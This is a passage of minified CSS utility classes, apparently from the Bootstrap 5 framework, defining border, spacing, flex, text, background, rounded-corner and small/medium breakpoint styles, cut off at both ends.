1;border-color:rgba(var(--bs-danger-rgb), var(--bs-border-opacity)) !important}.border-light{--bs-border-opacity: 1;border-color:rgba(var(--bs-light-rgb), var(--bs-border-opacity)) !important}.border-dark{--bs-border-opacity: 1;border-color:rgba(var(--bs-dark-rgb), var(--bs-border-opacity)) !important}.border-black{--bs-border-opacity: 1;border-color:rgba(var(--bs-black-rgb), var(--bs-border-opacity)) !important}.border-white{--bs-border-opacity: 1;border-color:rgba(var(--bs-white-rgb), var(--bs-border-opacity)) !important}.border-primary-subtle{border-color:var(--bs-primary-border-subtle) !important}.border-secondary-subtle{border-color:var(--bs-secondary-border-subtle) !important}.border-success-subtle{border-color:var(--bs-success-border-subtle) !important}.border-info-subtle{border-color:var(--bs-info-border-subtle) !important}.border-warning-subtle{border-color:var(--bs-warning-border-subtle) !important}.border-danger-subtle{border-color:var(--bs-danger-border-subtle) !important}.border-light-subtle{border-color:var(--bs-light-border-subtle) !important}.border-dark-subtle{border-color:var(--bs-dark-border-subtle) !important}.border-1{border-width:1px !important}.border-2{border-width:2px !important}.border-3{border-width:3px !important}.border-4{border-width:4px !important}.border-5{border-width:5px !important}.border-opacity-10{--bs-border-opacity: 0.1}.border-opacity-25{--bs-border-opacity: 0.25}.border-opacity-50{--bs-border-opacity: 0.5}.border-opacity-75{--bs-border-opacity: 0.75}.border-opacity-100{--bs-border-opacity: 1}.w-25{width:25% !important}.w-50{width:50% !important}.w-75{width:75% !important}.w-100{width:100% !important}.w-auto{width:auto !important}.mw-100{max-width:100% !important}.vw-100{width:100vw !important}.min-vw-100{min-width:100vw !important}.h-25{height:25% !important}.h-50{height:50% !important}.h-75{height:75% !important}.h-100{height:100% !important}.h-auto{height:auto !important}.mh-100{max-height:100% !important}.vh-100{height:100vh !important}.min-vh-100{min-height:100vh !important}.flex-fill{flex:1 1 auto !important}.flex-row{flex-direction:row !important}.flex-column{flex-direction:column !important}.flex-row-reverse{flex-direction:row-reverse !important}.flex-column-reverse{flex-direction:column-reverse !important}.flex-grow-0{flex-grow:0 !important}.flex-grow-1{flex-grow:1 !important}.flex-shrink-0{flex-shrink:0 !important}.flex-shrink-1{flex-shrink:1 !important}.flex-wrap{flex-wrap:wrap !important}.flex-nowrap{flex-wrap:nowrap !important}.flex-wrap-reverse{flex-wrap:wrap-reverse !important}.justify-content-start{justify-content:flex-start !important}.justify-content-end{justify-content:flex-end !important}.justify-content-center{justify-content:center !important}.justify-content-between{justify-content:space-between !important}.justify-content-around{justify-content:space-around !important}.justify-content-evenly{justify-content:space-evenly !important}.align-items-start{align-items:flex-start !important}.align-items-end{align-items:flex-end !important}.align-items-center{align-items:center !important}.align-items-baseline{align-items:baseline !important}.align-items-stretch{align-items:stretch !important}.align-content-start{align-content:flex-start !important}.align-content-end{align-content:flex-end !important}.align-content-center{align-content:center !important}.align-content-between{align-content:space-between !important}.align-content-around{align-content:space-around !important}.align-content-stretch{align-content:stretch !important}.align-self-auto{align-self:auto !important}.align-self-start{align-self:flex-start !important}.align-self-end{align-self:flex-end !important}.align-self-center{align-self:center !important}.align-self-baseline{align-self:baseline !important}.align-self-stretch{align-self:stretch !important}.order-first{order:-1 !important}.order-0{order:0 !important}.order-1{order:1 !important}.order-2{order:2 !important}.order-3{order:3 !important}.order-4{order:4 !important}.order-5{order:5 !important}.order-last{order:6 !important}.m-0{margin:0 !important}.m-1{margin:.25rem !important}.m-2{margin:.5rem !important}.m-3{margin:1rem !important}.m-4{margin:1.5rem !important}.m-5{margin:3rem !important}.m-auto{margin:auto !important}.mx-0{margin-right:0 !important;margin-left:0 !important}.mx-1{margin-right:.25rem !important;margin-left:.25rem !important}.mx-2{margin-right:.5rem !important;margin-left:.5rem !important}.mx-3{margin-right:1rem !important;margin-left:1rem !important}.mx-4{margin-right:1.5rem !important;margin-left:1.5rem !important}.mx-5{margin-right:3rem !important;margin-left:3rem !important}.mx-auto{margin-right:auto !important;margin-left:auto !important}.my-0{margin-top:0 !important;margin-bottom:0 !important}.my-1{margin-top:.25rem !important;margin-bottom:.25rem !important}.my-2{margin-top:.5rem !important;margin-bottom:.5rem !important}.my-3{margin-top:1rem !important;margin-bottom:1rem !important}.my-4{margin-top:1.5rem !important;margin-bottom:1.5rem !important}.my-5{margin-top:3rem !important;margin-bottom:3rem !important}.my-auto{margin-top:auto !important;margin-bottom:auto !important}.mt-0{margin-top:0 !important}.mt-1{margin-top:.25rem !important}.mt-2{margin-top:.5rem !important}.mt-3{margin-top:1rem !important}.mt-4{margin-top:1.5rem !important}.mt-5{margin-top:3rem !important}.mt-auto{margin-top:auto !important}.me-0{margin-right:0 !important}.me-1{margin-right:.25rem !important}.me-2{margin-right:.5rem !important}.me-3{margin-right:1rem !important}.me-4{margin-right:1.5rem !important}.me-5{margin-right:3rem !important}.me-auto{margin-right:auto !important}.mb-0{margin-bottom:0 !important}.mb-1{margin-bottom:.25rem !important}.mb-2{margin-bottom:.5rem !important}.mb-3{margin-bottom:1rem !important}.mb-4{margin-bottom:1.5rem !important}.mb-5{margin-bottom:3rem !important}.mb-auto{margin-bottom:auto !important}.ms-0{margin-left:0 !important}.ms-1{margin-left:.25rem !important}.ms-2{margin-left:.5rem !important}.ms-3{margin-left:1rem !important}.ms-4{margin-left:1.5rem !important}.ms-5{margin-left:3rem !important}.ms-auto{margin-left:auto !important}.p-0{padding:0 !important}.p-1{padding:.25rem !important}.p-2{padding:.5rem !important}.p-3{padding:1rem !important}.p-4{padding:1.5rem !important}.p-5{padding:3rem !important}.px-0{padding-right:0 !important;padding-left:0 !important}.px-1{padding-right:.25rem !important;padding-left:.25rem !important}.px-2{padding-right:.5rem !important;padding-left:.5rem !important}.px-3{padding-right:1rem !important;padding-left:1rem !important}.px-4{padding-right:1.5rem !important;padding-left:1.5rem !important}.px-5{padding-right:3rem !important;padding-left:3rem !important}.py-0{padding-top:0 !important;padding-bottom:0 !important}.py-1{padding-top:.25rem !important;padding-bottom:.25rem !important}.py-2{padding-top:.5rem !important;padding-bottom:.5rem !important}.py-3{padding-top:1rem !important;padding-bottom:1rem !important}.py-4{padding-top:1.5rem !important;padding-bottom:1.5rem !important}.py-5{padding-top:3rem !important;padding-bottom:3rem !important}.pt-0{padding-top:0 !important}.pt-1{padding-top:.25rem !important}.pt-2{padding-top:.5rem !important}.pt-3{padding-top:1rem !important}.pt-4{padding-top:1.5rem !important}.pt-5{padding-top:3rem !important}.pe-0{padding-right:0 !important}.pe-1{padding-right:.25rem !important}.pe-2{padding-right:.5rem !important}.pe-3{padding-right:1rem !important}.pe-4{padding-right:1.5rem !important}.pe-5{padding-right:3rem !important}.pb-0{padding-bottom:0 !important}.pb-1{padding-bottom:.25rem !important}.pb-2{padding-bottom:.5rem !important}.pb-3{padding-bottom:1rem !important}.pb-4{padding-bottom:1.5rem !important}.pb-5{padding-bottom:3rem !important}.ps-0{padding-left:0 !important}.ps-1{padding-left:.25rem !important}.ps-2{padding-left:.5rem !important}.ps-3{padding-left:1rem !important}.ps-4{padding-left:1.5rem !important}.ps-5{padding-left:3rem !important}.gap-0{gap:0 !important}.gap-1{gap:.25rem !important}.gap-2{gap:.5rem !important}.gap-3{gap:1rem !important}.gap-4{gap:1.5rem !important}.gap-5{gap:3rem !important}.row-gap-0{row-gap:0 !important}.row-gap-1{row-gap:.25rem !important}.row-gap-2{row-gap:.5rem !important}.row-gap-3{row-gap:1rem !important}.row-gap-4{row-gap:1.5rem !important}.row-gap-5{row-gap:3rem !important}.column-gap-0{column-gap:0 !important}.column-gap-1{column-gap:.25rem !important}.column-gap-2{column-gap:.5rem !important}.column-gap-3{column-gap:1rem !important}.column-gap-4{column-gap:1.5rem !important}.column-gap-5{column-gap:3rem !important}.font-monospace{font-family:var(--bs-font-monospace) !important}.fs-1{font-size:calc(1.375rem + 1.5vw) !important}.fs-2{font-size:calc(1.325rem + 0.9vw) !important}.fs-3{font-size:calc(1.3rem + 0.6vw) !important}.fs-4{font-size:calc(1.275rem + 0.3vw) !important}.fs-5{font-size:1.25rem !important}.fs-6{font-size:1rem !important}.fst-italic{font-style:italic !important}.fst-normal{font-style:normal !important}.fw-lighter{font-weight:lighter !important}.fw-light{font-weight:300 !important}.fw-normal{font-weight:400 !important}.fw-medium{font-weight:500 !important}.fw-semibold{font-weight:600 !important}.fw-bold{font-weight:700 !important}.fw-bolder{font-weight:bolder !important}.lh-1{line-height:1 !important}.lh-sm{line-height:1.25 !important}.lh-base{line-height:1.5 !important}.lh-lg{line-height:2 !important}.text-start{text-align:left !important}.text-end{text-align:right !important}.text-center{text-align:center !important}.text-decoration-none{text-decoration:none !important}.text-decoration-underline{text-decoration:underline !important}.text-decoration-line-through{text-decoration:line-through !important}.text-lowercase{text-transform:lowercase !important}.text-uppercase{text-transform:uppercase !important}.text-capitalize{text-transform:capitalize !important}.text-wrap{white-space:normal !important}.text-nowrap{white-space:nowrap !important}.text-break{word-wrap:break-word !important;word-break:break-word !important}.text-primary{--bs-text-opacity: 1;color:rgba(var(--bs-primary-rgb), var(--bs-text-opacity)) !important}.text-secondary{--bs-text-opacity: 1;color:rgba(var(--bs-secondary-rgb), var(--bs-text-opacity)) !important}.text-success{--bs-text-opacity: 1;color:rgba(var(--bs-success-rgb), var(--bs-text-opacity)) !important}.text-info{--bs-text-opacity: 1;color:rgba(var(--bs-info-rgb), var(--bs-text-opacity)) !important}.text-warning{--bs-text-opacity: 1;color:rgba(var(--bs-warning-rgb), var(--bs-text-opacity)) !important}.text-danger{--bs-text-opacity: 1;color:rgba(var(--bs-danger-rgb), var(--bs-text-opacity)) !important}.text-light{--bs-text-opacity: 1;color:rgba(var(--bs-light-rgb), var(--bs-text-opacity)) !important}.text-dark{--bs-text-opacity: 1;color:rgba(var(--bs-dark-rgb), var(--bs-text-opacity)) !important}.text-black{--bs-text-opacity: 1;color:rgba(var(--bs-black-rgb), var(--bs-text-opacity)) !important}.text-white{--bs-text-opacity: 1;color:rgba(var(--bs-white-rgb), var(--bs-text-opacity)) !important}.text-body{--bs-text-opacity: 1;color:rgba(var(--bs-body-color-rgb), var(--bs-text-opacity)) !important}.text-muted{--bs-text-opacity: 1;color:var(--bs-secondary-color) !important}.text-black-50{--bs-text-opacity: 1;color:rgba(0,0,0,.5) !important}.text-white-50{--bs-text-opacity: 1;color:hsla(0,0%,100%,.5) !important}.text-body-secondary{--bs-text-opacity: 1;color:var(--bs-secondary-color) !important}.text-body-tertiary{--bs-text-opacity: 1;color:var(--bs-tertiary-color) !important}.text-body-emphasis{--bs-text-opacity: 1;color:var(--bs-emphasis-color) !important}.text-reset{--bs-text-opacity: 1;color:inherit !important}.text-opacity-25{--bs-text-opacity: 0.25}.text-opacity-50{--bs-text-opacity: 0.5}.text-opacity-75{--bs-text-opacity: 0.75}.text-opacity-100{--bs-text-opacity: 1}.text-primary-emphasis{color:var(--bs-primary-text-emphasis) !important}.text-secondary-emphasis{color:var(--bs-secondary-text-emphasis) !important}.text-success-emphasis{color:var(--bs-success-text-emphasis) !important}.text-info-emphasis{color:var(--bs-info-text-emphasis) !important}.text-warning-emphasis{color:var(--bs-warning-text-emphasis) !important}.text-danger-emphasis{color:var(--bs-danger-text-emphasis) !important}.text-light-emphasis{color:var(--bs-light-text-emphasis) !important}.text-dark-emphasis{color:var(--bs-dark-text-emphasis) !important}.link-opacity-10{--bs-link-opacity: 0.1}.link-opacity-10-hover:hover{--bs-link-opacity: 0.1}.link-opacity-25{--bs-link-opacity: 0.25}.link-opacity-25-hover:hover{--bs-link-opacity: 0.25}.link-opacity-50{--bs-link-opacity: 0.5}.link-opacity-50-hover:hover{--bs-link-opacity: 0.5}.link-opacity-75{--bs-link-opacity: 0.75}.link-opacity-75-hover:hover{--bs-link-opacity: 0.75}.link-opacity-100{--bs-link-opacity: 1}.link-opacity-100-hover:hover{--bs-link-opacity: 1}.link-offset-1{text-underline-offset:.125em !important}.link-offset-1-hover:hover{text-underline-offset:.125em !important}.link-offset-2{text-underline-offset:.25em !important}.link-offset-2-hover:hover{text-underline-offset:.25em !important}.link-offset-3{text-underline-offset:.375em !important}.link-offset-3-hover:hover{text-underline-offset:.375em !important}.link-underline-primary{--bs-link-underline-opacity: 1;text-decoration-color:rgba(var(--bs-primary-rgb), var(--bs-link-underline-opacity)) !important}.link-underline-secondary{--bs-link-underline-opacity: 1;text-decoration-color:rgba(var(--bs-secondary-rgb), var(--bs-link-underline-opacity)) !important}.link-underline-success{--bs-link-underline-opacity: 1;text-decoration-color:rgba(var(--bs-success-rgb), var(--bs-link-underline-opacity)) !important}.link-underline-info{--bs-link-underline-opacity: 1;text-decoration-color:rgba(var(--bs-info-rgb), var(--bs-link-underline-opacity)) !important}.link-underline-warning{--bs-link-underline-opacity: 1;text-decoration-color:rgba(var(--bs-warning-rgb), var(--bs-link-underline-opacity)) !important}.link-underline-danger{--bs-link-underline-opacity: 1;text-decoration-color:rgba(var(--bs-danger-rgb), var(--bs-link-underline-opacity)) !important}.link-underline-light{--bs-link-underline-opacity: 1;text-decoration-color:rgba(var(--bs-light-rgb), var(--bs-link-underline-opacity)) !important}.link-underline-dark{--bs-link-underline-opacity: 1;text-decoration-color:rgba(var(--bs-dark-rgb), var(--bs-link-underline-opacity)) !important}.link-underline{--bs-link-underline-opacity: 1;text-decoration-color:rgba(var(--bs-link-color-rgb), var(--bs-link-underline-opacity, 1)) !important}.link-underline-opacity-0{--bs-link-underline-opacity: 0}.link-underline-opacity-0-hover:hover{--bs-link-underline-opacity: 0}.link-underline-opacity-10{--bs-link-underline-opacity: 0.1}.link-underline-opacity-10-hover:hover{--bs-link-underline-opacity: 0.1}.link-underline-opacity-25{--bs-link-underline-opacity: 0.25}.link-underline-opacity-25-hover:hover{--bs-link-underline-opacity: 0.25}.link-underline-opacity-50{--bs-link-underline-opacity: 0.5}.link-underline-opacity-50-hover:hover{--bs-link-underline-opacity: 0.5}.link-underline-opacity-75{--bs-link-underline-opacity: 0.75}.link-underline-opacity-75-hover:hover{--bs-link-underline-opacity: 0.75}.link-underline-opacity-100{--bs-link-underline-opacity: 1}.link-underline-opacity-100-hover:hover{--bs-link-underline-opacity: 1}.bg-primary{--bs-bg-opacity: 1;background-color:rgba(var(--bs-primary-rgb), var(--bs-bg-opacity)) !important}.bg-secondary{--bs-bg-opacity: 1;background-color:rgba(var(--bs-secondary-rgb), var(--bs-bg-opacity)) !important}.bg-success{--bs-bg-opacity: 1;background-color:rgba(var(--bs-success-rgb), var(--bs-bg-opacity)) !important}.bg-info{--bs-bg-opacity: 1;background-color:rgba(var(--bs-info-rgb), var(--bs-bg-opacity)) !important}.bg-warning{--bs-bg-opacity: 1;background-color:rgba(var(--bs-warning-rgb), var(--bs-bg-opacity)) !important}.bg-danger{--bs-bg-opacity: 1;background-color:rgba(var(--bs-danger-rgb), var(--bs-bg-opacity)) !important}.bg-light{--bs-bg-opacity: 1;background-color:rgba(var(--bs-light-rgb), var(--bs-bg-opacity)) !important}.bg-dark{--bs-bg-opacity: 1;background-color:rgba(var(--bs-dark-rgb), var(--bs-bg-opacity)) !important}.bg-black{--bs-bg-opacity: 1;background-color:rgba(var(--bs-black-rgb), var(--bs-bg-opacity)) !important}.bg-white{--bs-bg-opacity: 1;background-color:rgba(var(--bs-white-rgb), var(--bs-bg-opacity)) !important}.bg-body{--bs-bg-opacity: 1;background-color:rgba(var(--bs-body-bg-rgb), var(--bs-bg-opacity)) !important}.bg-transparent{--bs-bg-opacity: 1;background-color:rgba(0,0,0,0) !important}.bg-body-secondary{--bs-bg-opacity: 1;background-color:rgba(var(--bs-secondary-bg-rgb), var(--bs-bg-opacity)) !important}.bg-body-tertiary{--bs-bg-opacity: 1;background-color:rgba(var(--bs-tertiary-bg-rgb), var(--bs-bg-opacity)) !important}.bg-opacity-10{--bs-bg-opacity: 0.1}.bg-opacity-25{--bs-bg-opacity: 0.25}.bg-opacity-50{--bs-bg-opacity: 0.5}.bg-opacity-75{--bs-bg-opacity: 0.75}.bg-opacity-100{--bs-bg-opacity: 1}.bg-primary-subtle{background-color:var(--bs-primary-bg-subtle) !important}.bg-secondary-subtle{background-color:var(--bs-secondary-bg-subtle) !important}.bg-success-subtle{background-color:var(--bs-success-bg-subtle) !important}.bg-info-subtle{background-color:var(--bs-info-bg-subtle) !important}.bg-warning-subtle{background-color:var(--bs-warning-bg-subtle) !important}.bg-danger-subtle{background-color:var(--bs-danger-bg-subtle) !important}.bg-light-subtle{background-color:var(--bs-light-bg-subtle) !important}.bg-dark-subtle{background-color:var(--bs-dark-bg-subtle) !important}.bg-gradient{background-image:var(--bs-gradient) !important}.user-select-all{user-select:all !important}.user-select-auto{user-select:auto !important}.user-select-none{user-select:none !important}.pe-none{pointer-events:none !important}.pe-auto{pointer-events:auto !important}.rounded{border-radius:var(--bs-border-radius) !important}.rounded-0{border-radius:0 !important}.rounded-1{border-radius:var(--bs-border-radius-sm) !important}.rounded-2{border-radius:var(--bs-border-radius) !important}.rounded-3{border-radius:var(--bs-border-radius-lg) !important}.rounded-4{border-radius:var(--bs-border-radius-xl) !important}.rounded-5{border-radius:var(--bs-border-radius-xxl) !important}.rounded-circle{border-radius:50% !important}.rounded-pill{border-radius:var(--bs-border-radius-pill) !important}.rounded-top{border-top-left-radius:var(--bs-border-radius) !important;border-top-right-radius:var(--bs-border-radius) !important}.rounded-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-top-1{border-top-left-radius:var(--bs-border-radius-sm) !important;border-top-right-radius:var(--bs-border-radius-sm) !important}.rounded-top-2{border-top-left-radius:var(--bs-border-radius) !important;border-top-right-radius:var(--bs-border-radius) !important}.rounded-top-3{border-top-left-radius:var(--bs-border-radius-lg) !important;border-top-right-radius:var(--bs-border-radius-lg) !important}.rounded-top-4{border-top-left-radius:var(--bs-border-radius-xl) !important;border-top-right-radius:var(--bs-border-radius-xl) !important}.rounded-top-5{border-top-left-radius:var(--bs-border-radius-xxl) !important;border-top-right-radius:var(--bs-border-radius-xxl) !important}.rounded-top-circle{border-top-left-radius:50% !important;border-top-right-radius:50% !important}.rounded-top-pill{border-top-left-radius:var(--bs-border-radius-pill) !important;border-top-right-radius:var(--bs-border-radius-pill) !important}.rounded-end{border-top-right-radius:var(--bs-border-radius) !important;border-bottom-right-radius:var(--bs-border-radius) !important}.rounded-end-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-end-1{border-top-right-radius:var(--bs-border-radius-sm) !important;border-bottom-right-radius:var(--bs-border-radius-sm) !important}.rounded-end-2{border-top-right-radius:var(--bs-border-radius) !important;border-bottom-right-radius:var(--bs-border-radius) !important}.rounded-end-3{border-top-right-radius:var(--bs-border-radius-lg) !important;border-bottom-right-radius:var(--bs-border-radius-lg) !important}.rounded-end-4{border-top-right-radius:var(--bs-border-radius-xl) !important;border-bottom-right-radius:var(--bs-border-radius-xl) !important}.rounded-end-5{border-top-right-radius:var(--bs-border-radius-xxl) !important;border-bottom-right-radius:var(--bs-border-radius-xxl) !important}.rounded-end-circle{border-top-right-radius:50% !important;border-bottom-right-radius:50% !important}.rounded-end-pill{border-top-right-radius:var(--bs-border-radius-pill) !important;border-bottom-right-radius:var(--bs-border-radius-pill) !important}.rounded-bottom{border-bottom-right-radius:var(--bs-border-radius) !important;border-bottom-left-radius:var(--bs-border-radius) !important}.rounded-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-bottom-1{border-bottom-right-radius:var(--bs-border-radius-sm) !important;border-bottom-left-radius:var(--bs-border-radius-sm) !important}.rounded-bottom-2{border-bottom-right-radius:var(--bs-border-radius) !important;border-bottom-left-radius:var(--bs-border-radius) !important}.rounded-bottom-3{border-bottom-right-radius:var(--bs-border-radius-lg) !important;border-bottom-left-radius:var(--bs-border-radius-lg) !important}.rounded-bottom-4{border-bottom-right-radius:var(--bs-border-radius-xl) !important;border-bottom-left-radius:var(--bs-border-radius-xl) !important}.rounded-bottom-5{border-bottom-right-radius:var(--bs-border-radius-xxl) !important;border-bottom-left-radius:var(--bs-border-radius-xxl) !important}.rounded-bottom-circle{border-bottom-right-radius:50% !important;border-bottom-left-radius:50% !important}.rounded-bottom-pill{border-bottom-right-radius:var(--bs-border-radius-pill) !important;border-bottom-left-radius:var(--bs-border-radius-pill) !important}.rounded-start{border-bottom-left-radius:var(--bs-border-radius) !important;border-top-left-radius:var(--bs-border-radius) !important}.rounded-start-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-start-1{border-bottom-left-radius:var(--bs-border-radius-sm) !important;border-top-left-radius:var(--bs-border-radius-sm) !important}.rounded-start-2{border-bottom-left-radius:var(--bs-border-radius) !important;border-top-left-radius:var(--bs-border-radius) !important}.rounded-start-3{border-bottom-left-radius:var(--bs-border-radius-lg) !important;border-top-left-radius:var(--bs-border-radius-lg) !important}.rounded-start-4{border-bottom-left-radius:var(--bs-border-radius-xl) !important;border-top-left-radius:var(--bs-border-radius-xl) !important}.rounded-start-5{border-bottom-left-radius:var(--bs-border-radius-xxl) !important;border-top-left-radius:var(--bs-border-radius-xxl) !important}.rounded-start-circle{border-bottom-left-radius:50% !important;border-top-left-radius:50% !important}.rounded-start-pill{border-bottom-left-radius:var(--bs-border-radius-pill) !important;border-top-left-radius:var(--bs-border-radius-pill) !important}.visible{visibility:visible !important}.invisible{visibility:hidden !important}.z-n1{z-index:-1 !important}.z-0{z-index:0 !important}.z-1{z-index:1 !important}.z-2{z-index:2 !important}.z-3{z-index:3 !important}@media(min-width: 576px){.float-sm-start{float:left !important}.float-sm-end{float:right !important}.float-sm-none{float:none !important}.object-fit-sm-contain{object-fit:contain !important}.object-fit-sm-cover{object-fit:cover !important}.object-fit-sm-fill{object-fit:fill !important}.object-fit-sm-scale{object-fit:scale-down !important}.object-fit-sm-none{object-fit:none !important}.d-sm-inline{display:inline !important}.d-sm-inline-block{display:inline-block !important}.d-sm-block{display:block !important}.d-sm-grid{display:grid !important}.d-sm-inline-grid{display:inline-grid !important}.d-sm-table{display:table !important}.d-sm-table-row{display:table-row !important}.d-sm-table-cell{display:table-cell !important}.d-sm-flex{display:flex !important}.d-sm-inline-flex{display:inline-flex !important}.d-sm-none{display:none !important}.flex-sm-fill{flex:1 1 auto !important}.flex-sm-row{flex-direction:row !important}.flex-sm-column{flex-direction:column !important}.flex-sm-row-reverse{flex-direction:row-reverse !important}.flex-sm-column-reverse{flex-direction:column-reverse !important}.flex-sm-grow-0{flex-grow:0 !important}.flex-sm-grow-1{flex-grow:1 !important}.flex-sm-shrink-0{flex-shrink:0 !important}.flex-sm-shrink-1{flex-shrink:1 !important}.flex-sm-wrap{flex-wrap:wrap !important}.flex-sm-nowrap{flex-wrap:nowrap !important}.flex-sm-wrap-reverse{flex-wrap:wrap-reverse !important}.justify-content-sm-start{justify-content:flex-start !important}.justify-content-sm-end{justify-content:flex-end !important}.justify-content-sm-center{justify-content:center !important}.justify-content-sm-between{justify-content:space-between !important}.justify-content-sm-around{justify-content:space-around !important}.justify-content-sm-evenly{justify-content:space-evenly !important}.align-items-sm-start{align-items:flex-start !important}.align-items-sm-end{align-items:flex-end !important}.align-items-sm-center{align-items:center !important}.align-items-sm-baseline{align-items:baseline !important}.align-items-sm-stretch{align-items:stretch !important}.align-content-sm-start{align-content:flex-start !important}.align-content-sm-end{align-content:flex-end !important}.align-content-sm-center{align-content:center !important}.align-content-sm-between{align-content:space-between !important}.align-content-sm-around{align-content:space-around !important}.align-content-sm-stretch{align-content:stretch !important}.align-self-sm-auto{align-self:auto !important}.align-self-sm-start{align-self:flex-start !important}.align-self-sm-end{align-self:flex-end !important}.align-self-sm-center{align-self:center !important}.align-self-sm-baseline{align-self:baseline !important}.align-self-sm-stretch{align-self:stretch !important}.order-sm-first{order:-1 !important}.order-sm-0{order:0 !important}.order-sm-1{order:1 !important}.order-sm-2{order:2 !important}.order-sm-3{order:3 !important}.order-sm-4{order:4 !important}.order-sm-5{order:5 !important}.order-sm-last{order:6 !important}.m-sm-0{margin:0 !important}.m-sm-1{margin:.25rem !important}.m-sm-2{margin:.5rem !important}.m-sm-3{margin:1rem !important}.m-sm-4{margin:1.5rem !important}.m-sm-5{margin:3rem !important}.m-sm-auto{margin:auto !important}.mx-sm-0{margin-right:0 !important;margin-left:0 !important}.mx-sm-1{margin-right:.25rem !important;margin-left:.25rem !important}.mx-sm-2{margin-right:.5rem !important;margin-left:.5rem !important}.mx-sm-3{margin-right:1rem !important;margin-left:1rem !important}.mx-sm-4{margin-right:1.5rem !important;margin-left:1.5rem !important}.mx-sm-5{margin-right:3rem !important;margin-left:3rem !important}.mx-sm-auto{margin-right:auto !important;margin-left:auto !important}.my-sm-0{margin-top:0 !important;margin-bottom:0 !important}.my-sm-1{margin-top:.25rem !important;margin-bottom:.25rem !important}.my-sm-2{margin-top:.5rem !important;margin-bottom:.5rem !important}.my-sm-3{margin-top:1rem !important;margin-bottom:1rem !important}.my-sm-4{margin-top:1.5rem !important;margin-bottom:1.5rem !important}.my-sm-5{margin-top:3rem !important;margin-bottom:3rem !important}.my-sm-auto{margin-top:auto !important;margin-bottom:auto !important}.mt-sm-0{margin-top:0 !important}.mt-sm-1{margin-top:.25rem !important}.mt-sm-2{margin-top:.5rem !important}.mt-sm-3{margin-top:1rem !important}.mt-sm-4{margin-top:1.5rem !important}.mt-sm-5{margin-top:3rem !important}.mt-sm-auto{margin-top:auto !important}.me-sm-0{margin-right:0 !important}.me-sm-1{margin-right:.25rem !important}.me-sm-2{margin-right:.5rem !important}.me-sm-3{margin-right:1rem !important}.me-sm-4{margin-right:1.5rem !important}.me-sm-5{margin-right:3rem !important}.me-sm-auto{margin-right:auto !important}.mb-sm-0{margin-bottom:0 !important}.mb-sm-1{margin-bottom:.25rem !important}.mb-sm-2{margin-bottom:.5rem !important}.mb-sm-3{margin-bottom:1rem !important}.mb-sm-4{margin-bottom:1.5rem !important}.mb-sm-5{margin-bottom:3rem !important}.mb-sm-auto{margin-bottom:auto !important}.ms-sm-0{margin-left:0 !important}.ms-sm-1{margin-left:.25rem !important}.ms-sm-2{margin-left:.5rem !important}.ms-sm-3{margin-left:1rem !important}.ms-sm-4{margin-left:1.5rem !important}.ms-sm-5{margin-left:3rem !important}.ms-sm-auto{margin-left:auto !important}.p-sm-0{padding:0 !important}.p-sm-1{padding:.25rem !important}.p-sm-2{padding:.5rem !important}.p-sm-3{padding:1rem !important}.p-sm-4{padding:1.5rem !important}.p-sm-5{padding:3rem !important}.px-sm-0{padding-right:0 !important;padding-left:0 !important}.px-sm-1{padding-right:.25rem !important;padding-left:.25rem !important}.px-sm-2{padding-right:.5rem !important;padding-left:.5rem !important}.px-sm-3{padding-right:1rem !important;padding-left:1rem !important}.px-sm-4{padding-right:1.5rem !important;padding-left:1.5rem !important}.px-sm-5{padding-right:3rem !important;padding-left:3rem !important}.py-sm-0{padding-top:0 !important;padding-bottom:0 !important}.py-sm-1{padding-top:.25rem !important;padding-bottom:.25rem !important}.py-sm-2{padding-top:.5rem !important;padding-bottom:.5rem !important}.py-sm-3{padding-top:1rem !important;padding-bottom:1rem !important}.py-sm-4{padding-top:1.5rem !important;padding-bottom:1.5rem !important}.py-sm-5{padding-top:3rem !important;padding-bottom:3rem !important}.pt-sm-0{padding-top:0 !important}.pt-sm-1{padding-top:.25rem !important}.pt-sm-2{padding-top:.5rem !important}.pt-sm-3{padding-top:1rem !important}.pt-sm-4{padding-top:1.5rem !important}.pt-sm-5{padding-top:3rem !important}.pe-sm-0{padding-right:0 !important}.pe-sm-1{padding-right:.25rem !important}.pe-sm-2{padding-right:.5rem !important}.pe-sm-3{padding-right:1rem !important}.pe-sm-4{padding-right:1.5rem !important}.pe-sm-5{padding-right:3rem !important}.pb-sm-0{padding-bottom:0 !important}.pb-sm-1{padding-bottom:.25rem !important}.pb-sm-2{padding-bottom:.5rem !important}.pb-sm-3{padding-bottom:1rem !important}.pb-sm-4{padding-bottom:1.5rem !important}.pb-sm-5{padding-bottom:3rem !important}.ps-sm-0{padding-left:0 !important}.ps-sm-1{padding-left:.25rem !important}.ps-sm-2{padding-left:.5rem !important}.ps-sm-3{padding-left:1rem !important}.ps-sm-4{padding-left:1.5rem !important}.ps-sm-5{padding-left:3rem !important}.gap-sm-0{gap:0 !important}.gap-sm-1{gap:.25rem !important}.gap-sm-2{gap:.5rem !important}.gap-sm-3{gap:1rem !important}.gap-sm-4{gap:1.5rem !important}.gap-sm-5{gap:3rem !important}.row-gap-sm-0{row-gap:0 !important}.row-gap-sm-1{row-gap:.25rem !important}.row-gap-sm-2{row-gap:.5rem !important}.row-gap-sm-3{row-gap:1rem !important}.row-gap-sm-4{row-gap:1.5rem !important}.row-gap-sm-5{row-gap:3rem !important}.column-gap-sm-0{column-gap:0 !important}.column-gap-sm-1{column-gap:.25rem !important}.column-gap-sm-2{column-gap:.5rem !important}.column-gap-sm-3{column-gap:1rem !important}.column-gap-sm-4{column-gap:1.5rem !important}.column-gap-sm-5{column-gap:3rem !important}.text-sm-start{text-align:left !important}.text-sm-end{text-align:right !important}.text-sm-center{text-align:center !important}}@media(min-width: 768px){.float-md-start{float:left !important}.float-md-end{float:right !important}.float-md-none{float:none !important}.object-fit-md-contain{object-fit:contain !important}.object-fit-md-cover{object-fit:cover !important}.object-fit-md-fill{object-fit:fill !important}.object-fit-md-scale{object-fit:scale-down !important}.object-fit-md-none{object-fit:none !important}.d-md-inline{display:inline !important}.d-md-inline-block{display:inline-block !important}.d-md-block{display:block !important}.d-md-grid{display:grid !important}.d-md-inline-grid{display:inline-grid !important}.d-md-table{display:table !important}.d-md-table-row{display:table-row !important}.d-md-table-cell{display:table-cell !important}.d-md-flex{display:flex !important}.d-md-inline-flex{display:inline-flex !important}.d-md-none{display:none 